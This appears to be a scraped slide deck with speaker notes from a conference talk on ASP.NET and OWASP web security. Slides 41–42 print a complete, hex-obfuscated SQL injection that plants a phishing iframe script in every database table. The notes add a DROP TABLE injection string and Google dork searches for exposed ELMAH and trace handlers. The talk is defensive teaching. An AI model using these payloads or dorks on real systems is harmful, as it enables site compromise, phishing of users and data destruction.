  • 32. Set Custom Errors, hide YSOD
  • 34. Also don’t forget to turn off ELMAH – Cases with unprotected ELMAH handlers are notorious. – Googledork: inurl:”elmah.axd” DEBUG – Performance penalties – Although not related with direct security risks on its own beware of #if DEBUG statements that can disclose information
  • 35. Also don’t forget to turn off Script execution on folders where not needed – Usually folders where various documents or uploaded files are kept, unless you use App_Data folder. HTTP Access to Logs – Log files can disclose many sensitive details about your web app. It’s best to keep them outside of the web app root. If not possible at least keep them in App_Data.
  • 36. Insecure Direct Object References OWASP Definition – A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.
  • 38. Direct Object References – A direct object reference is an observable key used to identify an individual record in database • http://northwind.com/Products?catId=1 • http://northwind.com/Products?catId=3 • http://northwind.com/Products?catId=8
  • 39. Direct Object References – Another example • http://webapp.com/Download?f=DSC01031.JPG • http://webapp.com/Download?f=DSC01032.JPG • http://webapp.com/Download?f=DSC01033.JPG
  • 40. Prevention  Implementing proper access control – Validate user data – Implement security checks before using object reference  Access via undiscoverable surrogate keys – Integer and natural string types are vulnerable to enumeration – A surrogate key that is not pattern-based can add further obfuscation • A GUID is a good example – However, it is security through obscurity
  • 41. Real example: phishing with obfuscated SQL injection and XSS --1. The malicious query appends script to all text values in all tables in the database DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) and b.name not like '%username%' and b.name not like '%password%' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('update ['+@T+'] set ['+@C+']=['+@C+'] + '' <script>if(!this.pwnd){this.pwnd=true;$(''''<div style="position:absolute;top:0;left:0;zindex:1000;width:100%;height:100%;"><iframe width="100%" height="100%" src="http://codecamp.local/EvilSite/Login.aspx" seamless="true" /></div>'''').appendTo(''''body'''');}</script>'' where ['+@C+'] not like ''%http://codecamp.local/EvilSite/Login.aspx%'''); FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
  • 42. Real example : phishing with obfuscated SQL injection and XSS --2. The query is wrtten as one line string 'DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=''u'' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) and b.name not like ''%username%'' and b.name not like ''%password%'' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC(''update [''+@T+''] set [''+@C+'']=[''+@C+''] + '''' <script>if(!this.pwnd){this.pwnd=true;$(''''''''<div style="position:absolute;top:0;left:0;zindex:1000;width:100%;height:100%;"><iframe width="100%" height="100%" src="http://codecamp.local/EvilSite/Login.aspx" seamless="true" /></div>'''''''').appendTo(''''''''body'''''''');}</script>'''' where [''+@C+''] not like ''''%http://codecamp.local/EvilSite/Login.aspx%''''''); FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor' --3. We cast the query string as varbinary to obfuscate the XSS attack and to bypass XSS filters. SELECT CAST('DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=''u'' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) and b.name not like ''%username%'' and b.name not like ''%password%'' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC(''update [''+@T+''] set [''+@C+'']=[''+@C+''] + '''' <script>if(!this.pwnd){this.pwnd=true;$(''''''''<div style="position:absolute;top:0;left:0;zindex:1000;width:100%;height:100%;"><iframe width="100%" height="100%" src="http://codecamp.local/EvilSite/Login.aspx" seamless="true" /></div>'''''''').appendTo(''''''''body'''''''');}</script>'''' where [''+@C+''] not like ''''%http://codecamp.local/EvilSite/Login.aspx%''''''); FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor' AS VARBINARY(MAX)) -- result: 0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C6563 7420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E7320622020776865726520612E69643D622E696420616E6420612E78747970653D27752 720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D3136372920616E6420622E6E616D65206E6F74206C 696B65202725757365726E616D65252720616E6420622E6E616D65206E6F74206C696B6520272570617373776F72642527204F50454E205461626C655F437572736F72204645544348204E45585420 46524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827757064617465205B272B40542B27 5D20736574205B272B40432B275D3D5B272B40432B275D202B202727203C7363726970743E69662821746869732E70776E64297B746869732E70776E643D747275653B2428272727273C64697620 7374796C653D22706F736974696F6E3A6162736F6C7574653B746F703A303B6C6566743A303B7A2D696E6465783A313030303B77696474683A313030253B6865696768743A313030253B223E3C69 6672616D652077696474683D223130302522206865696768743D223130302522207372633D22687474703A2F2F636F646563616D702E6C6F63616C2F4576696C536974652F4C6F67696E2E6173707 822207365616D6C6573733D227472756522202F3E3C2F6469763E27272727292E617070656E64546F2827272727626F647927272727293B7D3C2F7363726970743E2727207768657265205B272B40 432B275D206E6F74206C696B6520272725687474703A2F2F636F646563616D702E6C6F63616C2F4576696C536974652F4C6F67696E2E6173707825272727293B204645544348204E4558542046524F 4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 --4. Final attack is: a' OR 1=1; DECLARE @S CHAR(4000);SET @S = CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656 C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E7320622020776865726520612E69643D622E696420616E6420612E78747970653D 27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D3136372920616E6420622E6E616D65206E6F7 4206C696B65202725757365726E616D65252720616E6420622E6E616D65206E6F74206C696B6520272570617373776F72642527204F50454E205461626C655F437572736F72204645544348204E455 8542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827757064617465205B272B405 42B275D20736574205B272B40432B275D3D5B272B40432B275D202B202727203C7363726970743E69662821746869732E70776E64297B746869732E70776E643D747275653B2428272727273C646 976207374796C653D22706F736974696F6E3A6162736F6C7574653B746F703A303B6C6566743A303B7A2D696E6465783A313030303B77696474683A313030253B6865696768743A313030253B223 E3C696672616D652077696474683D223130302522206865696768743D223130302522207372633D22687474703A2F2F636F646563616D702E6C6F63616C2F4576696C536974652F4C6F67696E2E61 73707822207365616D6C6573733D227472756522202F3E3C2F6469763E27272727292E617070656E64546F2827272727626F647927272727293B7D3C2F7363726970743E2727207768657265205B2 72B40432B275D206E6F74206C696B6520272725687474703A2F2F636F646563616D702E6C6F63616C2F4576696C536974652F4C6F67696E2E6173707825272727293B204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 as CHAR(4000));EXEC(@S)--
  • 44. • Complete electronic evaluation forms on the computers in the hall and enter to win! – Infragistics Ultimate – Telerik DevCraft – JetBrains .NET tools – Semos training vouchers – Pluralsight subscriptions – and many more…

Hinweis der Redaktion

  1. A big part of web application security testing involves attempts to force an application to function in a way it was not intended to.Alan Jay Perlis was an computer scientist known for his pioneering work in programming languages and the first recipient of the Turing Award (Nobel prize of computing)
  2. Code: string query = &quot;INSERT INTO Students VALUES (&apos;&quot; + txtStudentName.Text + &quot;‘,’” + txtSSN.Text+ ”’)&quot;;Attack: Robert’); DROP TABLE Students;--Result: INSERT INTO Students VALUES (&apos;Robert’); DROP TABLE Students;-- ‘,’12345’)
  3. q = &quot;INSERT INTO Students VALUES (&apos;&quot; + txtStudentName.Text + &quot;&apos;)&quot;;Robert’); DROP TABLE Students;--
  4. http://www.isi.edu/in-notes/rfc1945.txt
  5. C:\Users\codecamp\AppData\Roaming\Microsoft\Windows\Cookies\Low
  6. Enter OWASP, the Open Web Application Security Project, a non-profit charitable organisation established with the express purpose of promoting secure web application design. OWASP was started on September 9, 2001 By Mark Curphey and Dennis Groves. Since late 2003, Jeff Williams served as the volunteer Chair of OWASP until September 2011. The current chair is Michael Coates, and vice chair is EoinKeary. The OWASP Foundation, a 501(c)(3) organization (in the USA) was established in 2004 and supports the OWASP infrastructure and projects.
  7. Keep in mind that Trace.axd usually is not protected by authentication. Search on google for: inurl:trace.axd
  8. Googledork: Search on google inurl:elmah.axd
  9. Search on google inurl:elmah.axd